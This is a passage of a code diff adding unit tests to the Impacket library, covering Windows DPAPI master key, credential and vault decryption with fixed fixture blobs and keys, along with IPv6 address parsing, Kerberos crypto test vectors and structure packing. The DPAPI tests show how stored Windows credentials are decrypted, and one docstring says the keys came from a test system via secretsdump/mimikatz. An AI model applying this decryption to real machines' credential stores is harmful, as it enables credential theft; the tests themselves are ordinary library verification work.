+                          b"\xdf\x99%\xedj\xc8\x9d\x84\x05\n\xd1\\\xfe\x88\xecP\xec\xe2\x01\xe5\xa8\x0e\xb1\x98" \
+                          b"\x90\x9f\xf8\xc7\x81Q\x0fx\x85\x9b\x96\xcf\xad\xe43\xc8:\x7f?\xc1\x99&\xb0(\x0ej\x19n" \
+                          b"\xf1\xb0\xb5\xe1\xb3\xc1\xabBa \xdaS\xf2NY\x89\xf8\xa7\xd3\xdd\xe8j\xc4D\x90\x14\x01" \
+                          b"\xa6\xdfd\x07\xf5P\xd1\x97\xff'\xc9\x1a\xbb\\3\x12P\xb5\xa7\xceX\xc1\xf6\x1f\xd0\xd6V6" \
+                          b"\r\xf5\x8eo[_\xaa\xc69f\x1a\xa8\x94\x02\x00\x00\x00\xbd\xc1\xf9Y#W5:*>\xbc\xf8\xce" \
+                          b"\xdcr\xbb\xf8C\x00\x00\x0e\x80\x00\x00\x10f\x00\x00\x121\xd6~\xc6\x89\xfe\xa9\xf6" \
+                          b"\xdek\xd6j!\xe2\x8dT\x05#-\xf7\x1d\xea\xe5\xbf:\xb6<l\xb2\xca\xc0\x8a\xd1tV\x97\x9dr" \
+                          b"\xb7\r\xe1:\xfc+a\xd0T4\x16\x11\x91\xdc\xdf\xb2J\xaa\xc7\xed\x02u\xf7\x1e\xff\x9f" \
+                          b"\x93jU\x9a\xffK\xe60\x1b\xa9\x9df\xbd\x8e\x07\xb1\xa3%\xc7<zM\xa9q\x17\xf8\x05Q\xa3" \
+                          b"\xf0\xa7]\xa9\xfc\xc3|M+\xb4;Z\x9e\xf1hDF\xae\x03\x00\x00\x00\x00\x00\x00\x00\x00" \
+                          b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+
+    credentialFile = b'\x01\x00\x00\x00j\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xd0\x8c\x9d\xdf\x01\x15' \
+                     b'\xd1\x11\x8cz\x00\xc0O\xc2\x97\xeb\x01\x00\x00\x00q\xacC:\xd1R\x15K\x84\xcb\x01\xa5' \
+                     b'\xe7\xf0cP\x00\x00\x00 :\x00\x00\x00E\x00n\x00t\x00e\x00r\x00p\x00r\x00i\x00s\x00e' \
+                     b'\x00 \x00C\x00r\x00e\x00d\x00e\x00n\x00t\x00i\x00a\x00l\x00 \x00D\x00a\x00t\x00a\x00' \
+                     b'\r\x00\n\x00\x00\x00\x03f\x00\x00\xc0\x00\x00\x00\x10\x00\x00\x00X\x87\xdb\xeb\xc07' \
+                     b'\xd8\xef\xb5\xa3\x9fi##!L\x00\x00\x00\x00\x04\x80\x00\x00\xa0\x00\x00\x00\x10\x00\x00' \
+                     b'\x00\x92\xbe\x1f7\xa5\x80\xe5\x11\ns\x08lr\xec\xf7\xfc\xa8\x00\x00\x00\x92YL\xcd4C\xd8' \
+                     b'\xe7[\xd8D}\xac\x9a_\n\xdc\xe7\xf2\x9ar\x84\x1fC\x87\x19\xb9\xe8y\x9c\x07LD>\xf3\xd3' \
+                     b'\x97\x01\xb0\xfa\xf2n\xa3\xd9U_\xd3n\xd4\x80\xa5\x13\xb9$\x13\xe2\x02\x97\xb0*\xd6\xcf' \
+                     b'\xa1\x1e\x19\xf1\x9c\xea.tq\xf3\xb4\x89*L\xd2\xd5\x91;D7\xbd\xf0\x1eF\x82\x13\xb9e\x9b' \
+                     b'\x9a\x86w0\xb2\xb7b\x8f\xb6\t\xbe\xfb>v\x9f\x89S\x10\xe3\xe7\x0f}:\xd3\xdd\xe3B\x18c' \
+                     b'\xf7\x85j\xe4\xfb4=\x1e\x18\x97\xa1,+i\xe5\x8b\xdfn8\xc5>\x9eysQe\x85\xfb\x0b\x01' \
+                     b'\xd8 \xb2\x81*\x8e\xcd \xafE\x9f\x8c\xcb\x97\x89\x96\x97\xdd\x14\x00\x00\x00\xb7\xe5%' \
+                     b'\xfdC*R\xf9\rd\x0b\x7f\xf0G\xe9C\xf3\xd3p\x8c'
+
+    vpolFile = b"\x01\x00\x00\x00B\xc4\xf4K\x8a\x9b\xa0A\xb3\x80\xddJpM\xdb( \x00\x00\x00W\x00e\x00b\x00 " \
+               b"\x00C\x00r\x00e\x00d\x00e\x00n\x00t\x00i\x00a\x00l\x00s\x00\x00\x00\x01\x00\x00\x00\x00\x00" \
+               b"\x00\x00\x01\x00\x00\x00h\x01\x00\x00\x0b\xdas\xdd\x83\xfd\x12G\xaf\x8b\xd1S\xc7\x10\xc6\xb9" \
+               b"\x0b\xdas\xdd\x83\xfd\x12G\xaf\x8b\xd1S\xc7\x10\xc6\xb9D\x01\x00\x00\x01\x00\x00\x00\xd0\x8c" \
+               b"\x9d\xdf\x01\x15\xd1\x11\x8cz\x00\xc0O\xc2\x97\xeb\x01\x00\x00\x00Wc\xa0\t\xf5\xf3\xccJ\x9d" \
+               b"\x08\xd8\x86Z\xad\xe4\xac\x00\x00\x00 \x00\x00\x00\x00\x10f\x00\x00\x00\x01\x00\x00 \x00\x00" \
+               b"\x00\xe5\r@\x973M\xca\xdd\xb1\xca\x0cR\xb6\xaaO\xc5C\x91\x01\xd0l\xd6\x8f\xce1\xaf!\x17$L!" \
+               b"\xc8\x00\x00\x00\x00\x0e\x80\x00\x00\x00\x02\x00\x00 \x00\x00\x00\xd2@h\x0e\x8e\xd9$V\xa8y" \
+               b"\xf3\xbe\xbd\x85\x98\xb3\x1b&{\xed\xb3xx\xc6\xba\xc9\x8a\xc0s\xd4]\xeap\x00\x00\x00\x88}\x83" \
+               b"\x18\xc6\xc6\x00\xbc\xfe\xeb\xc4\xcb\xde\xfei>\xabo\xba\xb8=\\\ns\xb5\xdb\x97\xb9ln8B\xd9" \
+               b"\xc9\xd4:\x94\x9b7|\x94^\xda\x06\xe3\xdau\x0c\x02\x0c\x1bh\x8b\xac\xb8W#\x08\x0cm\xd5T+" \
+               b"\xc0m!U\xd7f\x9aO\xf1\xc7\x8b\xd1\x9c\x8ak._g\x01P>\xd3\xd7'\xe8j\xc4\xe4\xc7\xe4f`x\xffA" \
+               b"\x93#\xb5\x84\xbc\x17\x96\xa5e\xa0k\xd7p\xfc@\x00\x00\x00\xde\xb5&\xf7jZ\xac\x14Z\xd2\xb5" \
+               b"\xc3\xc9\x046\xb1\xb9A-~\x17)\xe9\xdcb~\xf7J+\x15\xa8\xe7N\xc5\xe5\x0b\xe3\x86\xf8\x08\\]G" \
+               b"\x9e;\x82\x9c\xa2\xf3\xf8s\xd9}\xdd\x00f\x97u\xe3\xeff\x05\xa4\x90\x00\x00\x00\x00"
+
+    vcrdFile = b'\x99T\xcd<\xa8\x87\x10K\xa2\x15`\x88\x88\xdd;U\x04\x00\x00\x00\xa3\xcf\x10\xffWm\xd3\x01\xff' \
+               b'\xff\xff\xff\x00\x02\x00\x00$\x00\x00\x00I\x00n\x00t\x00e\x00r\x00n\x00e\x00t\x00 \x00E\x00x' \
+               b'\x00p\x00l\x00o\x00r\x00e\x00r\x00\x00\x000\x00\x00\x00\x01\x00\x00\x00\x80\x00\x00\x00M_{' \
+               b'\x18\x02\x00\x00\x00\xb5\x00\x00\x00M_{\x18\x03\x00\x00\x00\xea\x00\x00\x00M_{\x18d\x00\x00' \
+               b'\x00\x00\x01\x00\x00M_{\x18\x01\x00\x00\x00\x02\x00\x00\x00\x07\x00\x00\x00\n\x00\x00\x00!' \
+               b'\x00\x00\x00\x00\x00e\x1c\x90\x18P\xab\xd0 0\xac!\xaf\x10\x81\xfe\xabAN#ga\xa9^I\x0e=\xffW' \
+               b'\xd2\xdbt\x02\x00\x00\x00\x02\x00\x00\x00\x07\x00\x00\x00\n\x00\x00\x00!\x00\x00\x00\x00\x99' \
+               b'|\xc9\x8b+\xd1\xbfF\xf2\xdd\xdd\xac\xa9\x80\xfd\x08x\x9d\xe6\xbe\x16&\xb0\'\x1ahQ\x08\x86-' \
+               b'\xdc~\x03\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x01\x00d' \
+               b'\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\xb5\x00\x00\x00' \
+               b'\x01\x10\x00\x00\x00)\x87\xe8|\xe62\xc7\xcf\x98\xc9\xbd\xfb}"\xe4]8\x8a\x1cl\xb9\x1dP4\xc8' \
+               b'\xdf\xe1\x8e#b\x91\xe3\xbe\xb2bA$,\xe9\xa1\xa6\x93\xff\t\x84+\xda\xff\x9f-\'\x96O\xb9\xe9' \
+               b'\x15\x0f\xb8\xd4\xdbs\xa3\xb1Z\xfc\x90\x07\x01?DBQ\xd4\x1d_\x0eo?\xd3Z\xf1Z\xe7\xf8\xe4oL3' \
+               b'\x91\xbbB%\xef\x0f\xaf\x03*\x99\xd6\xb6\xc8\xd9\x83+e\x8b\x02l\x9fl IJ\xe2\x89~a)E\x8fL\xe4' \
+               b'\xfc\x9dC\x17\xb0\x14\xe9]H\xfd\x0e+:\xc5\xc7\xcb\x87\xd0S\x16\x1bu\xb4\xfc1\xce\xd8\xffb' \
+               b'\x0e3\xbe|\xa3\xd7<\xd1:\xf1.PUr\xe8\xfdQ\x16\xe3\xa9\rt\x14\x04\xbb\x01\x00\x00\x00\x00' \
+               b'\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00'
+
+    def test_DPAPI_SYSTEM(self):
+        blob = unhexlify('010000002bb2109db472825bfa7660fdbed62c981f08587b458dc597034d8801fc6fe3b342817caabb81a0cb')
+        keys = DPAPI_SYSTEM(blob)
+        keys.dump()
+        self.assertEqual(self.machineKey, keys['MachineKey'])
+        self.assertEqual(self.userKey, keys['UserKey'])
+
+    def test_systemMasterKeyFile(self):
+        mkf = MasterKeyFile(self.systemMasterKeyFile)
+        mkf.dump()
+        data = self.systemMasterKeyFile[len(mkf):]
+        mk = MasterKey(data[:mkf['MasterKeyLen']])
+        mk.dump()
+        decryptedKey = mk.decrypt(self.userKey)
+        self.assertEqual(decryptedKey, self.systemMasterKey)
+
+    def deriveKeysFromUser(self, sid, password):
+        # Will generate two keys, one with SHA1 and another with MD4
+        key1 = HMAC.new(SHA1.new(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), SHA1).digest()
+        key2 = HMAC.new(MD4.new(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), SHA1).digest()
+
+        return key1, key2
+
+    def atest_adminMasterKeyFile(self):
+        # ToDo: fix this one..
+        mkf = MasterKeyFile(self.adminMasterKeyFile)
+        mkf.dump()
+        data = self.adminMasterKeyFile[len(mkf):]
+        mk = MasterKey(data[:mkf['MasterKeyLen']])
+        mk.dump()
+        key1, key2 = self.deriveKeysFromUser(self.sid, self.password)
+        decryptedKey = mk.decrypt(key1)
+        decryptedKey = mk.decrypt(key2)
+        self.assertEqual(decryptedKey, self.adminMasterKey)
+
+    def test_decryptCredential(self):
+        credFile = CredentialFile(self.credentialFile)
+        credFile.dump()
+        blob = DPAPI_BLOB(credFile['Data'])
+        decrypted = blob.decrypt(self.adminMasterKey)
+        creds = CREDENTIAL_BLOB(decrypted)
+        creds.dump()
+        self.assertEqual(creds['Username'], self.username.encode('utf-16le'))
+
+    @pytest.mark.skipif(os.name != "nt", reason="Only Windows")
+    def test_dumpBlobProtectAPI(self):
+        """Protect a blob using DPAPI and then parse and dump it. We're not testing the
+        correct decryption at this point.
+
+        TODO: It would be great to have a complete functional test to protect using DPAPI and
+              then unprotect it but it will require also dumping the master key from the test
+              system.
+        """
+        plain_blob = b"Some test string"
+        entropy = b"Some entropy"
+        encrypted_blob = dpapi_protect(plain_blob, entropy)
+        dpapi_blob = DPAPI_BLOB(encrypted_blob)
+        dpapi_blob.dump()
+
+    def test_unprotect_without_entropy(self):
+        """Simple test to decrypt a protected blob without providing an entropy string.
+        The blob was obtained using the dpapi_protect helper function and key extracted from a
+        test system with secretsdump/mimikatz.
+        """
+        plain_blob = b"Some test string"
+        entropy = None
+        key = unhexlify("9828d9873735439e823dbd216205ff88266d28ad685a413970c640d5ee943154bbade31fada673d542c72d707a163bb3d1bceb0c50465b359ae06998481b0ce3")
+        encrypted_blob = unhexlify("01000000d08c9ddf0115d1118c7a00c04fc297eb0100000033f19f5ee340be4a8a2e2b4e62bd0cc6000000000200000000001066000000010000200000000d1af96e5e102266fd36d96ac7d1595552e5a4e972463f77e6e227f22d5fc8df000000000e8000000002000020000000834f3c5710c8a7474f7dbcea8ba28ab8e4d4443f50a0c63ff4eba1cce485295f20000000b61d7576c0c6caf3690edb247bde3f7edaa59580e3b4be1265ea78e8c1b8a61d400000001c03ab807147742649b6bdfd1c1344d178bb163842d70abacfd51233af909cb81a677ec05d8db996f587ef5ac410dc189beda756eb0d1b6ee376823e80968538")
+        dpapi_blob = DPAPI_BLOB(encrypted_blob)
+        decrypted_blob = dpapi_blob.decrypt(key, entropy)
+        self.assertEqual(plain_blob, decrypted_blob)
+
+    def test_unprotect_with_entropy(self):
+        """Simple test to decrypt a protected blob providing an entropy string.
+        The blob was obtained using the dpapi_protect helper function and key extracted from a
+        test system with secretsdump/mimikatz.
+        """
+        plain_blob = b"Some test string"
+        entropy = b"Some entropy"
+        key = unhexlify("9828d9873735439e823dbd216205ff88266d28ad685a413970c640d5ee943154bbade31fada673d542c72d707a163bb3d1bceb0c50465b359ae06998481b0ce3")
+        encrypted_blob = unhexlify("01000000d08c9ddf0115d1118c7a00c04fc297eb0100000033f19f5ee340be4a8a2e2b4e62bd0cc600000000020000000000106600000001000020000000f239c0018e71b33bef9a6299675c7e209eef1f6447bd578d19c7973548737545000000000e80000000020000200000009d9ef33e15ffb1b310a13ecec39b1c02adc39e8d40a7162f9f9bb3170c699a812000000040e820259332c47af42e5f9de629e109d1504641aad853f3818c40ac311cf24a4000000010f01a84a5cc0393d3ea44cc3a8ff00ca4d02fcabc7c353a6823c53e4e719c9b398282a06b8878250205160ed79fef8b026093ad5a467594953d6de28d71f8c9")
+        dpapi_blob = DPAPI_BLOB(encrypted_blob)
+        decrypted_blob = dpapi_blob.decrypt(key, entropy)
+        self.assertEqual(plain_blob, decrypted_blob)
+
+    def test_decryptVpol(self):
+        vpol = VAULT_VPOL(self.vpolFile)
+        vpol.dump()
+        key = unhexlify('dda7cb9077756f4a5ea6291d57d5e3d3e96765885777cd6e8575f337034dfa4e58eb1ec5c97a4d9915b70130b7776aea16dc14a9486319e1849355c097b99272')
+        blob = vpol['Blob']
+        data = blob.decrypt(key)
+        keys = VAULT_VPOL_KEYS(data)
+        keys.dump()
+        self.assertEqual(keys['Key2']['bKeyBlob']['bKey'],
+                         unhexlify('756ff73b0ee4980e2dd722fbcd0badb9a6be89590304eb6d58b6e8ab7aaaec1d'))
+
+    def test_decryptVCrd(self):
+        blob = VAULT_VCRD(self.vcrdFile)
+        blob.dump()
+        key = unhexlify('acf4ff323558de5514be1731598e37c1ae5a6bf9016d5906097aee46712a5fe7')
+
+        cleartext = None
+        for i, entry in enumerate(blob.attributesLen):
+            if entry > 28:
+                attribute = blob.attributes[i]
+                if 'IV' in attribute.fields and len(attribute['IV']) == 16:
+                    cipher = AES.new(key, AES.MODE_CBC, iv=attribute['IV'])
+                else:
+                    cipher = AES.new(key, AES.MODE_CBC)
+                cleartext = cipher.decrypt(attribute['Data'])
+
+        if cleartext is not None:
+            # Lookup schema Friendly Name and print if we find one
+            if blob['FriendlyName'].decode('utf-16le')[:-1] in VAULT_KNOWN_SCHEMAS:
+                # Found one. Cast it and print
+                vault = VAULT_KNOWN_SCHEMAS[blob['FriendlyName'].decode('utf-16le')[:-1]](cleartext)
+                vault.dump()
+                self.assertEqual(vault['Username'], 'CONTOSO\\Administrator\x00'.encode('utf-16le'))
+            else:
+                raise Exception('No valid Schema')
+
+
+# Process command-line arguments.
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/misc/test_ip6_address.py b/tests/misc/test_ip6_address.py
new file mode 100644
index 0000000..c4c6f2d
--- /dev/null
+++ b/tests/misc/test_ip6_address.py
@@ -0,0 +1,66 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import six
+import unittest
+from binascii import hexlify
+from impacket.IP6_Address import IP6_Address
+
+
+def hexl(b):
+    return hexlify(b).decode('ascii')
+
+
+class IP6AddressTests(unittest.TestCase):
+    def test_bin(self):
+        tests = (("A:B:C:D:E:F:1:2", '000a000b000c000d000e000f00010002',
+                  "A:B:C:D:E:F:1:2"),
+                 ("A:B:0:D:E:F:0:2", '000a000b0000000d000e000f00000002',
+                  "A:B::D:E:F:0:2"),
+                 ("A::BC:E:D", '000a000000000000000000bc000e000d',
+                  "A::BC:E:D"),
+                 ("A::BCD:EFFF:D", '000a00000000000000000bcdefff000d',
+                  "A::BCD:EFFF:D"),
+                 ("FE80:0000:0000:0000:020C:29FF:FE26:E251",
+                  'fe80000000000000020c29fffe26e251',
+                  "FE80::20C:29FF:FE26:E251"),
+                 ("::", '00000000000000000000000000000000',
+                  "::"),
+                 ("1::", '00010000000000000000000000000000',
+                  "1::"),
+                 ("::2", '00000000000000000000000000000002',
+                  "::2"),
+                 )
+        #    print IP6_Address("A::BC:E:D").as_string(False)
+        for torig, thex, texp in tests:
+            ip = IP6_Address(torig)
+            byt = ip.as_bytes()
+            self.assertEqual(hexl(byt), thex)
+            self.assertEqual(ip.as_string(), texp)
+
+    def test_malformed(self):
+        with six.assertRaisesRegex(self, Exception, r'address size'):
+            IP6_Address("ABCD:EFAB:1234:1234:1234:1234:1234:12345")
+        with six.assertRaisesRegex(self, Exception, r'triple colon'):
+            IP6_Address(":::")
+        with six.assertRaisesRegex(self, Exception, r'triple colon'):
+            IP6_Address("::::")
+        # Could also test other invalid inputs
+        # IP6_Address("AB:CD:EF")
+        # IP6_Address("12::34::56")
+        # IP6_Address("00BCDE::")
+        # IP6_Address("DEFG::")
+        # and how about these...
+        # IP6_Address("A::0XBC:D")
+        # IP6_Address("B:-123::")
+        # IP6_Address("B:56  ::-0xE")
+
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/misc/test_krb5_crypto.py b/tests/misc/test_krb5_crypto.py
new file mode 100644
index 0000000..86aa18f
--- /dev/null
+++ b/tests/misc/test_krb5_crypto.py
@@ -0,0 +1,202 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+from __future__ import print_function
+import unittest
+from binascii import unhexlify
+
+from impacket.krb5.crypto import (Key, Enctype, encrypt, decrypt,
+                                  Cksumtype, verify_checksum, _zeropad,
+                                  string_to_key, prf, cf2)
+
+
+def h(hexstr):
+    return unhexlify(hexstr)
+
+
+class AESTests(unittest.TestCase):
+    def test_AES128(self):
+        # AES128 encrypt and decrypt
+        kb = h('9062430C8CDA3388922E6D6A509F5B7A')
+        conf = h('94B491F481485B9A0678CD3C4EA386AD')
+        keyusage = 2
+        plain = b'9 bytesss'
+        ctxt = h('68FB9679601F45C78857B2BF820FD6E53ECA8D42FD4B1D7024A09205ABB7CD2E'
+                 'C26C355D2F')
+        k = Key(Enctype.AES128, kb)
+        self.assertEqual(encrypt(k, keyusage, plain, conf), ctxt)
+        self.assertEqual(decrypt(k, keyusage, ctxt), plain)
+
+    def test_AES256(self):
+        # AES256 encrypt and decrypt
+        kb = h('F1C795E9248A09338D82C3F8D5B567040B0110736845041347235B1404231398')
+        conf = h('E45CA518B42E266AD98E165E706FFB60')
+        keyusage = 4
+        plain = b'30 bytes bytes bytes bytes byt'
+        ctxt = h('D1137A4D634CFECE924DBC3BF6790648BD5CFF7DE0E7B99460211D0DAEF3D79A'
+                 '295C688858F3B34B9CBD6EEBAE81DAF6B734D4D498B6714F1C1D')
+        k = Key(Enctype.AES256, kb)
+        self.assertEqual(encrypt(k, keyusage, plain, conf), ctxt)
+        self.assertEqual(decrypt(k, keyusage, ctxt), plain)
+
+    def test_AES128_checksum(self):
+        # AES128 checksum
+        kb = h('9062430C8CDA3388922E6D6A509F5B7A')
+        keyusage = 3
+        plain = b'eight nine ten eleven twelve thirteen'
+        cksum = h('01A4B088D45628F6946614E3')
+        k = Key(Enctype.AES128, kb)
+        verify_checksum(Cksumtype.SHA1_AES128, k, keyusage, plain, cksum)
+
+    def test_AES256_checksum(self):
+        # AES256 checksum
+        kb = h('B1AE4CD8462AFF1677053CC9279AAC30B796FB81CE21474DD3DDBCFEA4EC76D7')
+        keyusage = 4
+        plain = b'fourteen'
+        cksum = h('E08739E3279E2903EC8E3836')
+        k = Key(Enctype.AES256, kb)
+        verify_checksum(Cksumtype.SHA1_AES256, k, keyusage, plain, cksum)
+
+    def test_AES128_string_to_key(self):
+        # AES128 string-to-key
+        string = 'password'
+        salt = b'ATHENA.MIT.EDUraeburn'
+        params = h('00000002')
+        kb = h('C651BF29E2300AC27FA469D693BDDA13')
+        k = string_to_key(Enctype.AES128, string, salt, params)
+        self.assertEqual(k.contents, kb)
+
+    def test_AES256_string_to_key(self):
+        # AES256 string-to-key
+        string = 'X' * 64
+        salt = b'pass phrase equals block size'
+        params = h('000004B0')
+        kb = h('89ADEE3608DB8BC71F1BFBFE459486B05618B70CBAE22092534E56C553BA4B34')
+        k = string_to_key(Enctype.AES256, string, salt, params)
+        self.assertEqual(k.contents, kb)
+
+    def test_AES128_prf(self):
+        # AES128 prf
+        kb = h('77B39A37A868920F2A51F9DD150C5717')
+        k = string_to_key(Enctype.AES128, b'key1', b'key1')
+        self.assertEqual(prf(k, b'\x01\x61'), kb)
+
+    def test_AES256_prf(self):
+        # AES256 prf
+        kb = h('0D674DD0F9A6806525A4D92E828BD15A')
+        k = string_to_key(Enctype.AES256, b'key2', b'key2')
+        self.assertEqual(prf(k, b'\x02\x62'), kb)
+
+    def test_AES128_cf2(self):
+        # AES128 cf2
+        kb = h('97DF97E4B798B29EB31ED7280287A92A')
+        k1 = string_to_key(Enctype.AES128, b'key1', b'key1')
+        k2 = string_to_key(Enctype.AES128, b'key2', b'key2')
+        k = cf2(Enctype.AES128, k1, k2, b'a', b'b')
+        self.assertEqual(k.contents, kb)
+
+    def test_AES256_cf2(self):
+        # AES256 cf2
+        kb = h('4D6CA4E629785C1F01BAF55E2E548566B9617AE3A96868C337CB93B5E72B1C7B')
+        k1 = string_to_key(Enctype.AES256, b'key1', b'key1')
+        k2 = string_to_key(Enctype.AES256, b'key2', b'key2')
+        k = cf2(Enctype.AES256, k1, k2, b'a', b'b')
+        self.assertEqual(k.contents, kb)
+
+    def test_DES3(self):
+        # DES3 encrypt and decrypt
+        kb = h('0DD52094E0F41CECCB5BE510A764B35176E3981332F1E598')
+        conf = h('94690A17B2DA3C9B')
+        keyusage = 3
+        plain = b'13 bytes byte'
+        ctxt = h('839A17081ECBAFBCDC91B88C6955DD3C4514023CF177B77BF0D0177A16F705E8'
+                 '49CB7781D76A316B193F8D30')
+        k = Key(Enctype.DES3, kb)
+        self.assertEqual(encrypt(k, keyusage, plain, conf), ctxt)
+        self.assertEqual(decrypt(k, keyusage, ctxt), _zeropad(plain, 8))
+
+    def test_DES3_string_to_key(self):
+        # DES3 string-to-key
+        string = b'password'
+        salt = b'ATHENA.MIT.EDUraeburn'
+        kb = h('850BB51358548CD05E86768C313E3BFEF7511937DCF72C3E')
+        k = string_to_key(Enctype.DES3, string, salt)
+        self.assertEqual(k.contents, kb)
+
+    def test_DES3_checksum(self):
+        # DES3 checksum
+        kb = h('7A25DF8992296DCEDA0E135BC4046E2375B3C14C98FBC162')
+        keyusage = 2
+        plain = b'six seven'
+        cksum = h('0EEFC9C3E049AABC1BA5C401677D9AB699082BB4')
+        k = Key(Enctype.DES3, kb)
+        verify_checksum(Cksumtype.SHA1_DES3, k, keyusage, plain, cksum)
+
+    def test_DES3_cf2(self):
+        # DES3 cf2
+        kb = h('E58F9EB643862C13AD38E529313462A7F73E62834FE54A01')
+        k1 = string_to_key(Enctype.DES3, b'key1', b'key1')
+        k2 = string_to_key(Enctype.DES3, b'key2', b'key2')
+        k = cf2(Enctype.DES3, k1, k2, b'a', b'b')
+        self.assertEqual(k.contents, kb)
+
+    def test_RC4(self):
+        # RC4 encrypt and decrypt
+        kb = h('68F263DB3FCE15D031C9EAB02D67107A')
+        conf = h('37245E73A45FBF72')
+        keyusage = 4
+        plain = b'30 bytes bytes bytes bytes byt'
+        ctxt = h('95F9047C3AD75891C2E9B04B16566DC8B6EB9CE4231AFB2542EF87A7B5A0F260'
+                 'A99F0460508DE0CECC632D07C354124E46C5D2234EB8')
+        k = Key(Enctype.RC4, kb)
+        self.assertEqual(encrypt(k, keyusage, plain, conf), ctxt)
+        self.assertEqual(decrypt(k, keyusage, ctxt), plain)
+
+    def test_RC4_string_to_key(self):
+        # RC4 string-to-key
+        string = 'foo'
+        kb = h('AC8E657F83DF82BEEA5D43BDAF7800CC')
+        k = string_to_key(Enctype.RC4, string, None)
+        self.assertEqual(k.contents, kb)
+
+    def test_RC4_checksum(self):
+        # RC4 checksum
+        kb = h('F7D3A155AF5E238A0B7A871A96BA2AB2')
+        keyusage = 6
+        plain = b'seventeen eighteen nineteen twenty'
+        cksum = h('EB38CC97E2230F59DA4117DC5859D7EC')
+        k = Key(Enctype.RC4, kb)
+        verify_checksum(Cksumtype.HMAC_MD5, k, keyusage, plain, cksum)
+
+    def test_RC4_cf2(self):
+        # RC4 cf2
+        kb = h('24D7F6B6BAE4E5C00D2082C5EBAB3672')
+        k1 = string_to_key(Enctype.RC4, 'key1', 'key1')
+        k2 = string_to_key(Enctype.RC4, 'key2', 'key2')
+        k = cf2(Enctype.RC4, k1, k2, b'a', b'b')
+        self.assertEqual(k.contents, kb)
+
+    def test_DES_string_to_key(self):
+        # DES string-to-key
+        string = b'password'
+        salt = b'ATHENA.MIT.EDUraeburn'
+        kb = h('cbc22fae235298e3')
+        k = string_to_key(Enctype.DES_MD5, string, salt)
+        self.assertEqual(k.contents, kb)
+
+        # DES string-to-key
+        string = b'potatoe'
+        salt = b'WHITEHOUSE.GOVdanny'
+        kb = h('df3d32a74fd92a01')
+        k = string_to_key(Enctype.DES_MD5, string, salt)
+        self.assertEqual(k.contents, kb)
+
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/misc/test_structure.py b/tests/misc/test_structure.py
new file mode 100644
index 0000000..7f12479
--- /dev/null
+++ b/tests/misc/test_structure.py
@@ -0,0 +1,228 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+from __future__ import print_function
+import six
+import unittest
+from binascii import hexlify
+
+from impacket.structure import Structure
+
+
+def hexl(b):
+    hexstr = str(hexlify(b).decode('ascii'))
+    return ' '.join([hexstr[i:i + 8] for i in range(0, len(hexstr), 8)])
+
+
+class _StructureTest(object):
+    # Subclass:
+    # - must define theClass
+    # - may override alignment
+    alignment = 0
+
+    def create(self, data=None):
+        if data is not None:
+            return self.theClass(data, alignment=self.alignment)
+        else:
+            return self.theClass(alignment=self.alignment)
+
+    def test_structure(self):
+        # print()
+        # print("-"*70)
+        # testName = self.__class__.__name__
+        # print("starting test: %s....." % testName)
+        # Create blank structure and fill its fields
+        a = self.create()
+        self.populate(a)
+        # a.dump("packing.....")
+        # Get its binary representation
+        a_str = a.getData()
+        self.check_data(a_str)
+        # print("packed: %r" % a_str)
+        # print("unpacking.....")
+        b = self.create(a_str)
+        # b.dump("unpacked.....")
+        # print("repacking.....")
+        b_str = b.getData()
+        self.assertEqual(b_str, a_str,
+                         "ERROR: original packed and repacked don't match")
+
+    def check_data(self, a_str):
+        if hasattr(self, 'hexData'):
+            # Regression check
+            self.assertEqual(hexl(a_str), self.hexData)
+        else:
+            # Show result, to aid adding regression check
+            print(self.__class__.__name__, hexl(a_str))
+
+
+class Test_simple(_StructureTest, unittest.TestCase):
+    class theClass(Structure):
+        commonHdr = ()
+        structure = (
+            ('int1', '!L'),
+            ('len1', '!L-z1'),
+            ('arr1', 'B*<L'),
+            ('z1', 'z'),
+            ('u1', 'u'),
+            ('', '"COCA'),
+            ('len2', '!H-:1'),
+            ('', '"COCA'),
+            (':1', ':'),
+            ('int3', '>L'),
+            ('code1', '>L=len(arr1)*2+0x1000'),
+        )
+
+    def populate(self, a):
+        a['default'] = 'hola'
+        a['int1'] = 0x3131
+        a['int3'] = 0x45444342
+        a['z1'] = 'hola'
+        a['u1'] = 'hola'.encode('utf_16_le')
+        a[':1'] = ':1234:'
+        a['arr1'] = (0x12341234, 0x88990077, 0x41414141)
+        # a['len1'] = 0x42424242
+
+    hexData = '00003131 00000005 03341234 12770099 88414141 41686f6c 61006800 6f006c00 61000000 434f4341 0006434f 43413a31 3233343a 45444342 00001006'
+
+
+class Test_fixedLength(Test_simple):
+    def test_structure(self):
+        a = self.create()
+        self.populate(a)
+        # Set a bogus length...
+        a['len1'] = 0x42424242
+        a_str = a.getData()
+        if hasattr(self, 'hexData'):
+            # Regression check
+            self.assertEqual(hexl(a_str), self.hexData)
+        else:
+            print(hexl(a_str))
+        # ... so that unpacking will now fail
+        with six.assertRaisesRegex(self, Exception, r'not NUL terminated'):
+            self.create(a_str)
+
+    hexData = '00003131 42424242 03341234 12770099 88414141 41686f6c 61006800 6f006c00 61000000 434f4341 0006434f 43413a31 3233343a 45444342 00001006'
